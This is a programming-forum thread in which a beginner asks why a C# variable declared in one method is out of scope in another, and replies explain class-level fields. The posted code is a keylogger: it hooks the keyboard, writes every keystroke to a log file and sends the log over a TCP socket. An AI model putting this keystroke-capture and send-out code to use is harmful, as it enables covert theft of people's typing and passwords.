CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 6 of 6
  1. #1
    Join Date
    Dec 2011
    Posts
    10

    [RESOLVED] I declared a variable but can't reuse it in another scope

    in my Connect() function i declare
    Code:
    NetworkStream serverStream;
    but down in the "button5_Click" event, when i try to use "serverStream" i get the error "The name 'serverStream' does not exist in the current context". If i left out any information that can be used to answer my question, please, let me know. Thanks in advance.
    Code:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using TestKeybdHook;
    using System.Runtime.InteropServices;
    using System.IO;
    using System.Collections;
    using System.Net.Mail;
    using System.Net;
    using sockettest;
    using System.Net.Sockets;
    
    namespace KeyHookSucks
    {
        public partial class Form1 : Form
        {
    
            String writeUp;
            string n = Environment.NewLine;
    
            public Form1()
            {
                InitializeComponent();
    
                
              //this.ShowInTaskbar = false;
              //this.Refresh();
                Hook.CreateHook(KeyReaderr);
                this.button1.Enabled = false;
                this.button2.Enabled = true;
                writeUp = "";
    
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
    
                Hook.CreateHook(KeyReaderr);
    
                button2.Enabled = true;
                button1.Enabled = false;
            }
    
            public void KeyReaderr(IntPtr wParam, IntPtr lParam)
            {
                int key = Marshal.ReadInt32(lParam);
    
                Hook.VK vk = (Hook.VK)key;
    
                String temp = "";
    
                switch (vk)
                {
                    case Hook.VK.VK_F1: temp = "<-F1->";
                        break;
    
                    case Hook.VK.VK_F2: temp = "<-F2->";
                        break;
                    case Hook.VK.VK_F3: temp = "<-F3->";
                        break;
                    case Hook.VK.VK_F4: temp = "<-F4->";
                        break;
                    case Hook.VK.VK_F5: temp = "<-F5->";
                        break;
                    case Hook.VK.VK_F6: temp = "<-F6->";
                        break;
                    case Hook.VK.VK_F7: temp = "<-F7->";
                        break;
                    case Hook.VK.VK_F8: temp = "<-F8->";
                        break;
                    case Hook.VK.VK_F9: temp = "<-F9->";
                        break;
                    case Hook.VK.VK_F10: temp = "<-F10->";
                        break;
                    case Hook.VK.VK_F11: temp = "<-F11->";
                        break;
                    case Hook.VK.VK_F12: temp = "<-F12->";
                        break;                
                    case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                        break;               
                    case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                        break;
                    case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                        break;
                    case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                        break;
                    case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                        break;
                    case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                        break;
                    case Hook.VK.VK_SEPERATOR: temp = "|";
                        break;
                    case Hook.VK.VK_SUBTRACT: temp = "-";
                        break;
                    case Hook.VK.VK_DECIMAL: temp = ".";
                        break;
                    case Hook.VK.VK_DIVIDE: temp = "/";
                        break;
                    case Hook.VK.VK_NUMPAD0: temp = "0";
                        break;
                    case Hook.VK.VK_NUMPAD1: temp = "1";
                        break;
                    case Hook.VK.VK_NUMPAD2: temp = "2";
                        break;
                    case Hook.VK.VK_NUMPAD3: temp = "3";
                        break;
                    case Hook.VK.VK_NUMPAD4: temp = "4";
                        break;
                    case Hook.VK.VK_NUMPAD5: temp = "5";
                        break;
                    case Hook.VK.VK_NUMPAD6: temp = "6";
                        break;
                    case Hook.VK.VK_NUMPAD7: temp = "7";
                        break;
                    case Hook.VK.VK_NUMPAD8: temp = "8";
                        break;
                    case Hook.VK.VK_NUMPAD9: temp = "9";
                        break;
                    case Hook.VK.VK_Q: temp = "q";
                        break;
                    case Hook.VK.VK_W: temp = "w";
                        break;
                    case Hook.VK.VK_E: temp = "e";
                        break;
                    case Hook.VK.VK_R: temp = "r";
                        break;
                    case Hook.VK.VK_T: temp = "t";
                        break;
                    case Hook.VK.VK_Y: temp = "y";
                        break;
                    case Hook.VK.VK_U: temp = "u";
                        break;
                    case Hook.VK.VK_I: temp = "i";
                        break;
                    case Hook.VK.VK_O: temp = "o";
                        break;
                    case Hook.VK.VK_P: temp = "p";
                        break;
                    case Hook.VK.VK_A: temp = "a";
                        break;
                    case Hook.VK.VK_S: temp = "s";
                        break;
                    case Hook.VK.VK_D: temp = "d";
                        break;
                    case Hook.VK.VK_F: temp = "f";
                        break;
                    case Hook.VK.VK_G: temp = "g";
                        break;
                    case Hook.VK.VK_H: temp = "h";
                        break;
                    case Hook.VK.VK_J: temp = "j";
                        break;
                    case Hook.VK.VK_K: temp = "k";
                        break;
                    case Hook.VK.VK_L: temp = "l";
                        break;
                    case Hook.VK.VK_Z: temp = "z";
                        break;
                    case Hook.VK.VK_X: temp = "x";
                        break;
                    case Hook.VK.VK_C: temp = "c";
                        break;
                    case Hook.VK.VK_V: temp = "v";
                        break;
                    case Hook.VK.VK_B: temp = "b";
                        break;
                    case Hook.VK.VK_N: temp = "n";
                        break;
                    case Hook.VK.VK_M: temp = "m";
                        break;
                    case Hook.VK.VK_0: temp = "0";
                        break;
                    case Hook.VK.VK_1: temp = "1";
                        break;
                    case Hook.VK.VK_2: temp = "2";
                        break;
                    case Hook.VK.VK_3: temp = "3";
                        break;
                    case Hook.VK.VK_4: temp = "4";
                        break;
                    case Hook.VK.VK_5: temp = "5";
                        break;
                    case Hook.VK.VK_6: temp = "6";
                        break;
                    case Hook.VK.VK_7: temp = "7";
                        break;
                    case Hook.VK.VK_8: temp = "8";
                        break;
                    case Hook.VK.VK_9: temp = "9";
                        break;
                    case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                        break;
                    case Hook.VK.VK_INSERT: temp = "<-insert->";
                        break;
                    case Hook.VK.VK_DELETE: temp = "<-delete->";
                        break;
                    case Hook.VK.VK_BACK: temp = "<-backspace->";
                        break;
                    case Hook.VK.VK_TAB: temp = "<-tab->";
                        break;
                    case Hook.VK.VK_RETURN: temp = "<-enter->";
                        break;
                    case Hook.VK.VK_PAUSE: temp = "<-pause->";
                        break;
                    case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                        break;
                    case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                        break;
                    case Hook.VK.VK_SPACE: temp = "<-space->";
                        break;
                    case Hook.VK.VK_PRIOR: temp = "<-page up->";
                        break;
                    case Hook.VK.VK_NEXT: temp = "<-page down->";
                        break;
                    case Hook.VK.VK_END: temp = "<-end->";
                        break;
                    case Hook.VK.VK_HOME: temp = "<-home->";
                        break;
                    case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                        break;
                    case Hook.VK.VK_UP: temp = "<-arrow up->";
                        break;
                    case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                        break;
                    case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                        break;
                    default: break;
                }
    
                writeUp = writeUp + temp;
                writeToFile(temp);
    
            }
    
            public void Connect(string hostname) {
                TcpClient cSoc = new TcpClient();
                textBox3.Text += "Client started" + n;
                try
                {
                    cSoc.Connect(hostname, 8888);
                }
                catch (System.Exception Ex)
                {
                    textBox3.Text += Ex.Message + n + Ex.Message;
                }
                textBox3.Text += "Client Socket Program - Server Connected ..." + n;
                NetworkStream serverStream;
                try
                {
                    serverStream = cSoc.GetStream();
                }
                catch (System.Exception Ex)
                {
                    textBox3.Text += Ex.Message + n + Ex.Message;
                }
            }
    
    
            public void writeToFile(String writing)
            {
                
                TextReader tr = new StreamReader("logs.krs");
    
                // read a line of text
                String secr = tr.ReadToEnd();
    
                // close the stream
                tr.Close();
    
                // create a writer and open the file
                TextWriter tw = new StreamWriter("logs.krs");
    
               
                // write a line of text to the file
                tw.WriteLine(secr+writing);
    
                // close the stream
                tw.Close();
    
            }
    
    
            private void button2_Click(object sender, EventArgs e)
            {
                Hook.DestroyHook();
                button2.Enabled = false;
                button1.Enabled = true;
            }
    
            private void button3_Click(object sender, EventArgs e)
            {
    
                writeToFile(writeUp);
    
            }
    
            public void Form1_Load(object sender, EventArgs e)
            {
                Connect("127.0.0.1");
            }
    
            public void button5_Click(object sender, EventArgs e)
            {
                TextReader tr = new StreamReader("logs.krs");
                String secr = tr.ReadToEnd();
                tr.Close();
                byte[] outStream = Encoding.ASCII.GetBytes(secr.Replace(n, "") + "$");
                serverStream.Write(outStream, 0, outStream.Length);
                serverStream.Flush();
                byte[] inStream = new byte[10025];
                serverStream.Read(inStream, 0, (int)cSoc.ReceiveBufferSize);
                string returndata = System.Text.Encoding.ASCII.GetString(inStream);
                textBox1.Text += "Data from Server : " + returndata + n;
            }
        }
    }

  2. #2
    Join Date
    Jan 2009
    Posts
    596

    Re: I declared a variable but can't reuse it in another scope

    Your thread title says it all really - you are declaring a variable in one scope (the Connect method) and trying to use it in another scope (the button5_click method).

    The serverStream variable needs to be declared as a class data member, like you did for the writeUp variable.

    P.S. It's nice to see someone using [ code ] tags on their first post
    Last edited by Peter_B; December 3rd, 2011 at 07:07 PM. Reason: Added P.S.

  3. #3
    Join Date
    Dec 2011
    Posts
    10

    Talking Re: I declared a variable but can't reuse it in another scope

    Quote Originally Posted by Peter_B View Post
    Your thread title says it all really - you are declaring a variable in one scope (the Connect method) and trying to use it in another scope (the button5_click method).

    The serverStream variable needs to be declared as a class data member, like you did for the writeUp variable.

    P.S. It's nice to see someone using [ code ] tags on their first post
    I don't know if you can answer this but would that work? I believe the connection has to be made in order to use "serverStream = cSoc.getStream". Is that wrong? I could try connecting as a data class member (or just in the Form1 scope if that doesnt make any sense) but i dont think that would work. Thanks for the quick reply though

  4. #4
    Join Date
    Jan 2009
    Posts
    596

    Re: I declared a variable but can't reuse it in another scope

    Quote Originally Posted by EdoSZ View Post
    I don't know if you can answer this but would that work? I believe the connection has to be made in order to use "serverStream = cSoc.getStream". Is that wrong? I could try connecting as a data class member (or just in the Form1 scope if that doesnt make any sense) but i dont think that would work. Thanks for the quick reply though
    Declaring the serverStream as a data member will just mean that it is 'null' before you assign a value to it (in 'Connect'). This is fine as long as the Connect method is called before you try to use it in button5_click.

  5. #5
    Join Date
    Dec 2011
    Posts
    10

    Re: I declared a variable but can't reuse it in another scope

    Quote Originally Posted by Peter_B View Post
    Declaring the serverStream as a data member will just mean that it is 'null' before you assign a value to it (in 'Connect'). This is fine as long as the Connect method is called before you try to use it in button5_click.
    Oh, thanks. i was confused as to what a data member was. I get what you mean now. And Connect() is called with Form1_Load so it will be fine.

    EDIT: it works thankyou so much

  6. #6
    Join Date
    Oct 2003
    Location
    .NET2.0 / VS2005 Developer
    Posts
    7,104

    Re: I declared a variable but can't reuse it in another scope

    Indeed, variables must be made available in whatever scope (within curly brackets) you plan to use them:

    Code:
    class a{
      object b;
    
      method c(object d){
        object e;
        //b is available
        //d is avaialble
        //e is available
        if(blah){
          object f;
          //b is available
          //d is avaialble
          //e is available
          //f is available
        } else {
          //b is available
          //d is avaialble
          //e is available
          //f is NOT available
        } 
    
        g(e);
      }
     
      method g(object h){
          //b is available
          //d is NOT avaialble
          //e is NOT available
          //f is NOT available
          //h is available. If g() was called from b() then h would point to the same object as e, but we must refer to it as h.Thing() NOT e.thing()
    
      }
    }

    think of your code like a tree, look at the { brackets }. When youre inside a {code block} you have available anything declared up to that point (top to bottom) inside that code block, and in every outer {code block} back up to class level but you cant go out into the parent {code block} and then into another child of the parent and use variables defined in the other child, you can only go up through the parents

    When you want a variable to be available to code inside multiple methods, consider that you must either:
    Declare it at the class level (the parent of all the methods) or you must pass it in as an argument to each method that wants to use it, like g(object) above..
    "it's a fax from your dog, Mr Dansworth. It looks like your cat" - Gary Larson...DW1: Data Walkthroughs 1.1...DW2: Data Walkthroughs 2.0...DDS: The DataSet Designer Surface...ANO: ADO.NET2 Orientation...DAN: Deeper ADO.NET...DNU...PQ

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured